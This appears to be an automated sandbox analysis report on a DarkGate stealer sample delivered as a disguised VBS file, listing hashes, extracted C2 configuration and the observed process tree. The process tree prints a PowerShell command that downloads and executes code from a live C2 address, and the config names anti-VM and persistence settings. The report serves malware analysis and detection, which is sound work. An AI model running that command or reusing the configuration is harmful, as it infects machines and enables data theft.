Analysis
- max time kernel
114s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system - submitted
09/04/2024, 15:19
Static task
static1
Behavioral task
behavioral1
Sample
MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs
Resource
win7-20240319-en
4 signatures
150 seconds
General
- Target MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs
- Size 880KB
- Sample240409-sp6adadh8w
- SHA256 2e34908f60502ead6ad08af1554c305b88741d09e36b2c24d85fd9bac4a11d2f
- MD5 e0217823f2f748254b43ede64e422199
- SHA1 3bede6ac6d6e7362b64a7de6663c9b6caac29832
- SHA512 ab681712155c36cf0a8f44be5c181e4d4a2b61f3b35b2d6fa1266924b9932d8bab50b9e72a60d7e64ed3fa0504ec98726d81a2ebabf6bf403ac14dc5fb07c7b6
- SSDEEP 24576:j2rHDMzlpSUY+g3Gy1U6dxvJwdd+2fk6T/dhTYzmQGeKsKBGrlrH:kAW59gs/s0dH
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
darkgate
Botnet
-
admin888
C2
-
103.124.106.237
Attributes
-
anti_analysis
true
-
anti_debug
false
-
anti_vm
true
-
c2_port
80
-
check_disk
false
-
check_ram
false
-
check_xeon
false
-
crypter_au3
false
-
crypter_dll
false
-
crypter_raw_stub
false
-
internal_mutex
bedxvHpr
-
minimum_disk
50
-
minimum_ram
4000
-
ping_interval
6
-
rootkit
false
-
startup_persistence
true
-
username
admin888
Signatures
- Detect DarkGate stealer 2 IoCs
resource yara_rule behavioral2/memory/1216-35-0x00000000031E0000-0x0000000003254000-memory.dmp family_darkgate_v6 behavioral2/memory/1216-37-0x00000000031E0000-0x0000000003254000-memory.dmp family_darkgate_v6 - Blocklisted process makes network request 4 IoCs
flow pid Process 8 2956 powershell.exe 10 2956 powershell.exe 19 2956 powershell.exe 20 2956 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1904519900-954640453-4250331663-1000\Control Panel\International\Geo\Nation WScript.exe - Executes dropped EXE 1 IoCs
pid Process 1216 AutoHotkey.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AutoHotkey.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AutoHotkey.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2956 powershell.exe 2956 powershell.exe 1216 AutoHotkey.exe 1216 AutoHotkey.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2956 powershell.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 1596 wrote to memory of 2956 1596 WScript.exe 91 PID 1596 wrote to memory of 2956 1596 WScript.exe 91 PID 2956 wrote to memory of 1216 2956 powershell.exe 101 PID 2956 wrote to memory of 1216 2956 powershell.exe 101 PID 2956 wrote to memory of 1216 2956 powershell.exe 101 PID 2956 wrote to memory of 2084 2956 powershell.exe 102 PID 2956 wrote to memory of 2084 2956 powershell.exe 102 - Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2084 attrib.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '103.124.106.237/wctaehcw')2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2956 -
C:\kady\AutoHotkey.exe"C:\kady\AutoHotkey.exe" C:/kady/script.ahk3⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:1216
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h C:/kady/3⤵
- Views/modifies file attributes
PID:2084
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1416 --field-trial-handle=2228,i,521073434451423547,2311651514500527526,262144 --variations-seed-version /prefetch:81⤵PID:4284
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4ik10bm.o55.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\kady\AutoHotkey.exe
- Size 892KB
- SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
- MD5 a59a2d3e5dda7aca6ec879263aa42fd3
- SHA1 312d496ec90eb30d5319307d47bfef602b6b8c6c
- SHA512 852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030
- SSDEEP 24576:bGzl9+a4Ne1nEFI56xU+0IdY2Zv952uetfbFEzP4UFhOt:b+tOWnEFZR0El0JEzQAh
- MD5 SHA1 SHA512 SSDEEP
- Path C:\kady\script.ahk
- Size 441B
- SHA256 8e7070383517cc127dfff26a726a47fc48a9169591e29c8d16df6fdd6d2c591e
- MD5 958cd4a849145b96e92e63ef4e152349
- SHA1 19d79b480294e7c329c19faf87fc5e3320268caa
- SHA512 7852834cf31f55c6d97fdc204b59b8177d336c1f5ee1a14ae880e34c3e8c407953f1722274c040c93c5ac978f1a6ddb9d4a1b5019b6d3a99dd081440528210a0
- MD5 SHA1 SHA512
- Path C:\kady\test.txt
- Size 922KB
- SHA256 70223ac25fecd28385f39f36367f93b045c312f062354497dd2702e7d295784d
- MD5 8ed12b37b69693e66f928cd39fc21c6c
- SHA1 2ee8c14330d38f3ba3c23e4bb56c05b29191ff03
- SHA512 50daf960cd89efe9b562db00177f27f3ba9e0929be830406857d9879a49c58f62d5d03c1b01c83104f47784da02b2cc2fab28c9b653e1a1861d4b319271e2795
- SSDEEP 12288:htSC7BFd6XXV5Zos5bZqJB7ggl/qEpUwDoWiCrqJxq0/zi6wRSSfUcpNJwwLeoZR:Ice8NVylw
- MD5 SHA1 SHA512 SSDEEP